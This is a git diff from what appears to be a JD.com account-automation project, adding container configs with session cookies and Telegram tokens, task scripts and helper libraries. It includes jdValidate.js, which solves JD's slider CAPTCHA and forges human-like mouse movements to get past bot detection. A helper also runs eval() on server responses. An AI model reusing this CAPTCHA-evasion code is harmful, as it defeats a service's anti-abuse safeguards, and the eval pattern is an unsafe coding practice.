mode 100644 index 0000000..a2da16f --- /dev/null +++ b/docker/example/jd_scripts.custom-append.syno.json @@ -0,0 +1,65 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.custom-overwrite.syno.json b/docker/example/jd_scripts.custom-overwrite.syno.json new file mode 100644 index 0000000..e4e05fb --- /dev/null +++ b/docker/example/jd_scripts.custom-overwrite.syno.json @@ -0,0 +1,69 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + }, + { + "key" : "CUSTOM_LIST_MERGE_TYPE", + "value" : "overwrite" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.syno.json b/docker/example/jd_scripts.syno.json new file mode 100644 index 0000000..189b047 --- /dev/null +++ b/docker/example/jd_scripts.syno.json @@ -0,0 +1,83 @@ +{ + "cap_add" : null, + "cap_drop" : null, + "cmd" : "", + "cpu_priority" : 0, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : false, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=AAJfjaNrADASxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxx5;" + }, + { + "key" : "TG_BOT_TOKEN", + "value" : "13xxxxxx80:AAEkNxxxxxxzNf91WQ" + }, + { + "key" : "TG_USER_ID", + "value" : "12xxxx206" + }, + { + "key" : "PLANT_BEAN_SHARECODES", + "value" : "" + }, + { + "key" : "FRUITSHARECODES", + "value" : "" + }, + { + "key" : "PETSHARECODES", + "value" : "" + }, + { + "key" : "SUPERMARKET_SHARECODES", + "value" : "" + }, + { + "key" : "CRONTAB_LIST_FILE", + "value" : "crontab_list.sh" + } + ], + "exporting" : false, + "id" : "18af38bc0ac37a40e4b9608a86fef56c464577cc160bbdddec90155284fcf4e5", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false, + "enable_status_page" : false, + "enable_web_page" : false, + "web_page_url" : "" + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/multi.yml b/docker/example/multi.yml new file mode 100644 index 0000000..a02de0d --- /dev/null +++ b/docker/example/multi.yml @@ -0,0 +1,62 @@ +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/notify_docker_user.js b/docker/notify_docker_user.js new file mode 100644 index 0000000..7ca2b0e --- /dev/null +++ b/docker/notify_docker_user.js @@ -0,0 +1,20 @@ +const notify = require('../sendNotify'); +const fs = require('fs'); +const notifyPath = '/scripts/logs/notify.txt'; +async function image_update_notify() { + if (fs.existsSync(notifyPath)) { + const content = await fs.readFileSync(`${notifyPath}`, 'utf8');//读取notify.txt内容 + if (process.env.NOTIFY_CONTENT && !content.includes(process.env.NOTIFY_CONTENT)) { + await notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT); + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } else { + if (process.env.NOTIFY_CONTENT) { + notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT) + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } +} +!(async() => { + await image_update_notify(); +})().catch((e) => console.log(e)) \ No newline at end of file diff --git a/docker/proc_file.sh b/docker/proc_file.sh new file mode 100644 index 0000000..89f4627 --- /dev/null +++ b/docker/proc_file.sh @@ -0,0 +1,27 @@ +#!/bin/sh + +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + CMD="spnode" +else + CMD="node" +fi + +echo "处理jd_crazy_joy_coin任务。。。" +if [ ! $CRZAY_JOY_COIN_ENABLE ]; then + echo "默认启用jd_crazy_joy_coin杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "默认jd_crazy_joy_coin重启完成" +else + if [ $CRZAY_JOY_COIN_ENABLE = "Y" ]; then + echo "配置启用jd_crazy_joy_coin,杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "配置jd_crazy_joy_coin重启完成" + else + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo "已配置不启用jd_crazy_joy_coin任务,仅杀掉" + fi +fi diff --git a/function/common.js b/function/common.js new file mode 100644 index 0000000..0ee3115 --- /dev/null +++ b/function/common.js @@ -0,0 +1,280 @@ +let request = require('request'); +let CryptoJS = require('crypto-js'); +let qs = require('querystring'); +let urls = require('url'); +let path = require('path'); +let notify = require('./sendNotify'); +let mainEval = require("./eval"); +let assert = require('assert'); +let jxAlgo = require("./jxAlgo"); +let config = require("./config"); +let user = {} +try { + user = require("./user") +} catch (e) {} +class env { + constructor(name) { + this.config = { ...config, + ...process.env, + ...user, + }; + this.name = name; + this.message = []; + this.sharecode = []; + this.code = []; + this.timestamp = new Date().getTime(); + this.time = this.start = parseInt(this.timestamp / 1000); + this.options = { + 'headers': {} + }; + console.log(`\n🔔${this.name}, 开始!\n`) + console.log(`=========== 脚本执行-北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()} ===========\n`) + } + done() { + let timestamp = new Date().getTime(); + let work = ((timestamp - this.timestamp) / 1000).toFixed(2) + console.log(`=========================脚本执行完成,耗时${work}s============================\n`) + console.log(`🔔${this.name}, 结束!\n`) + } + notify(array) { + let text = []; + let type = 0 + for (let i of array) { + text.push(`${i.user} -- ${i.msg}`) + type = i.type + } + console.log(`\n=============================开始发送提醒消息=============================`) + if (type == 1) { + for (let i of text) { + notify.sendNotify(this.name + "消息提醒", i) + } + } else { + notify.sendNotify(this.name + "消息提醒", text.join('\n')) + } + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + setOptions(params) { + this.options = params; + } + setCookie(cookie) { + this.options.headers.cookie = cookie + } + jsonParse(str) { + try { + return JSON.parse(str); + } catch (e) { + try { + let data = this.match([/try\s*\{\w+\s*\(([^\)]+)/, /\w+\s*\(([^\)]+)/], str) + return JSON.parse(data); + } catch (ee) { + try { + let cb = this.match(/try\s*\{\s*(\w+)/, str) + if (cb) { + let func = ""; + let data = str.replace(cb, `func=`) + eval(data); + return func + } + } catch (eee) { + return str + } + } + } + } + curl(params, extra = '') { + if (typeof(params) != 'object') { + params = { + 'url': params + } + } + params = Object.assign({ ...this.options + }, params); + params.method = params.body ? 'POST' : 'GET'; + if (params.hasOwnProperty('cookie')) { + params.headers.cookie = params.cookie + } + if (params.hasOwnProperty('ua') || params.hasOwnProperty('useragent')) { + params.headers['user-agent'] = params.ua + } + if (params.hasOwnProperty('referer')) { + params.headers.referer = params.referer + } + if (params.hasOwnProperty('params')) { + params.url += '?' + qs.stringify(params.params) + } + if (params.hasOwnProperty('form')) { + params.method = 'POST' + } + return new Promise(resolve => { + request(params, async (err, resp, data) => { + try { + if (params.console) { + console.log(data) + } + this.source = this.jsonParse(data); + if (extra) { + this[extra] = this.source + } + } catch (e) { + console.log(e, resp) + } finally { + resolve(data); + } + }) + }) + } + dumps(dict) { + return JSON.stringify(dict) + } + loads(str) { + return JSON.parse(str) + } + notice(msg, type = 0) { + this.message.push({ + 'index': this.index, + 'user': this.user, + 'msg': msg, + type + }) + } + notices(msg, user, type = 0) { + this.message.push({ + 'user': user, + 'msg': msg, + // 'index': index, + type + }) + } + urlparse(url) { + return urls.parse(url, true, true) + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + haskey(data, key, value) { + value = typeof value !== 'undefined' ? value : ''; + var spl = key.split('.'); + for (var i of spl) { + i = !isNaN(i) ? parseInt(i) : i; + try { + data = data[i]; + } catch (error) { + return ''; + } + } + if (data == undefined) { + return '' + } + if (value !== '') { + return data === value ? true : false; + } else { + return data + } + } + match(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + for (let pat of pattern) { + // var match = string.match(pat); + var match = pat.exec(string) + if (match) { + var len = match.length; + if (len == 1) { + return match; + } else if (len == 2) { + return match[1]; + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + return r; + } + break; + } + // console.log(pat.exec(string)) + } + return ''; + } + matchall(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + var match; + var result = []; + for (var pat of pattern) { + while ((match = pat.exec(string)) != null) { + var len = match.length; + if (len == 1) { + result.push(match); + } else if (len == 2) { + result.push(match[1]); + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + result.push(r); + } + } + } + return result; + } + compare(property) { + return function(a, b) { + var value1 = a[property]; + var value2 = b[property]; + return value1 - value2; + } + } + filename(file, rename = '') { + if (!this.runfile) { + this.runfile = path.basename(file).replace(".js", '').replace(/-/g, '_') + } + if (rename) { + rename = `_${rename}`; + } + return path.basename(file).replace(".js", rename).replace(/-/g, '_'); + } + rand(n, m) { + var random = Math.floor(Math.random() * (m - n + 1) + n); + return random; + } + random(arr, num) { + var temp_array = new Array(); + for (var index in arr) { + temp_array.push(arr[index]); + } + var return_array = new Array(); + for (var i = 0; i < num; i++) { + if (temp_array.length > 0) { + var arrIndex = Math.floor(Math.random() * temp_array.length); + return_array[i] = temp_array[arrIndex]; + temp_array.splice(arrIndex, 1); + } else { + break; + } + } + return return_array; + } + compact(lists, keys) { + let array = {}; + for (let i of keys) { + if (lists[i]) { + array[i] = lists[i]; + } + } + return array; + } + unique(arr) { + return Array.from(new Set(arr)); + } + end(args) { + return args[args.length - 1] + } +} +module.exports = { + env, + eval: mainEval, + assert, + jxAlgo, +} diff --git a/function/config.js b/function/config.js new file mode 100644 index 0000000..ff6baad --- /dev/null +++ b/function/config.js @@ -0,0 +1 @@ +module.exports = {"ThreadJs":[],"invokeKey":"RtKLB8euDo7KwsO0"} \ No newline at end of file diff --git a/function/eval.js b/function/eval.js new file mode 100644 index 0000000..9277379 --- /dev/null +++ b/function/eval.js @@ -0,0 +1,86 @@ +function mainEval($) { + return ` +!(async () => { + jdcookie = process.env.JD_COOKIE ? process.env.JD_COOKIE.split("&") : require("./function/jdcookie").cookie; + cookies={ + 'all':jdcookie, + 'help': typeof(help) != 'undefined' ? [...jdcookie].splice(0,parseInt(help)):[] + } + $.sleep=cookies['all'].length * 500 + taskCookie=cookies['all'] + if($.config[\`\${$.runfile}_limit\`]){ + taskCookie = cookies['all'].slice(0,parseInt($.config[\`\${$.runfile}_limit\`])) + } + jxAlgo = new common.jxAlgo(); + if ($.readme) { + console.log(\`使用说明:\\n\${$.readme}\\n以上内容仅供参考,有需求自行添加\\n\`,) + } + console.log(\`======================本次任务共\${taskCookie.length}个京东账户Cookie======================\\n\`) + try{ + await prepare(); + + if ($.sharecode.length > 0) { + $.sharecode = $.sharecode.filter(d=>d && JSON.stringify(d)!='{}') + console.log('助力码', $.sharecode ) + } + }catch(e1){console.log("初始函数不存在,将继续执行主函数Main\\n")} + if (typeof(main) != 'undefined') { + try{ + for (let i = 0; i < taskCookie.filter(d => d).length; i++) { + $.cookie = taskCookie[i]; + $.user = decodeURIComponent($.cookie.match(/pt_pin=([^;]+)/)[1]) + $.index = parseInt(i) + 1; + let info = { + 'index': $.index, + 'user': $.user, + 'cookie': $.cookie + } + if (!$.thread) { + console.log(\`\n******开始【京东账号\${$.index}】\${$.user} 任务*********\n\`); + } + if ($.config[\`\${$.runfile}_except\`] && $.config[\`\${$.runfile}_except\`].includes(\$.user)) { + console.log(\`全局变量\${$.runfile}_except中配置了该账号pt_pin,跳过此次任务\`) + }else{ + $.setCookie($.cookie) + try{ + if ($.sharecode.length > 0) { + for (let smp of $.sharecode) { + smp = Object.assign({ ...info}, smp); + $.thread ? main(smp) : await main(smp); + } + }else{ + $.thread ? main(info) : await main(info); + } + } + catch(em){ + console.log(em.message) + } + } + + + } + }catch(em){console.log(em.message)} + if ($.thread) { + await $.wait($.sleep) + } + } + if (typeof(extra) != 'undefined') { + console.log(\`============================开始运行额外任务============================\`) + try{ + await extra(); + }catch(e4){console.log(e4.message)} + } +})().catch((e) => { + console.log(e.message) +}).finally(() => { + if ($.message.length > 0) { + $.notify($.message) + } + $.done(); +}); + +` +} +module.exports = { + mainEval +} diff --git a/function/jdValidate.js b/function/jdValidate.js new file mode 100644 index 0000000..5bf9ca9 --- /dev/null +++ b/function/jdValidate.js @@ -0,0 +1,466 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1'; +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + getImageData(x, y, w, h) { + const { + pixels + } = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + return { + data: pixels.slice(startIndex, startIndex + len) + }; + } +} +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + // console.log(imgBg); + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + return this.recognize(); + } + recognize() { + const { + ctx, + w: width, + bg + } = this; + const { + width: patchWidth, + height: patchHeight + } = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } + runWithCanvas() { + const { + createCanvas, + Image + } = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const { + naturalWidth: w, + naturalHeight: h + } = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + const width = w; + const { + naturalWidth, + naturalHeight + } = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } +} +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +let SERVER = 'iv.jd.com'; +if (process.env.JDJR_SERVER) { + SERVER = process.env.JDJR_SERVER +} +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.n = 0; + } + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + // console.log(pos[pos.length-1][2] -Date.now()); + await sleep(3000); + //await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { + d, + ...this.data + }); + if (result.message === 'success') { + // console.log(result); + // console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + if (this.n > 60) { + return; + } + this.n++; + return await this.run(); + } + } + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { + e: '' + }); + const { + bg, + patch, + y + } = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + if (x > 0) count++; + if (i % 50 === 0) { + console.log('%f\%', (i / n) * 100); + } + } + console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { + callback: fnId + }; + const query = new URLSearchParams({ ...DATA, + ...extraData, + ...data + }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, { + headers + }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline(response, zlib.createGunzip(), unzipStream, reject, ); + res = unzipStream; + } + res.setEncoding('utf8'); + let rawData = ''; + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split(""), + b = c.length, + e = +d, + a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} +const HZ = 32; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [ + [this.x, this.y, this.t] + ]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 12, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + console.log(this.STEP, this.DURATION); + } + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + this.pos.push(lastPos); + return this.pos; + } + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 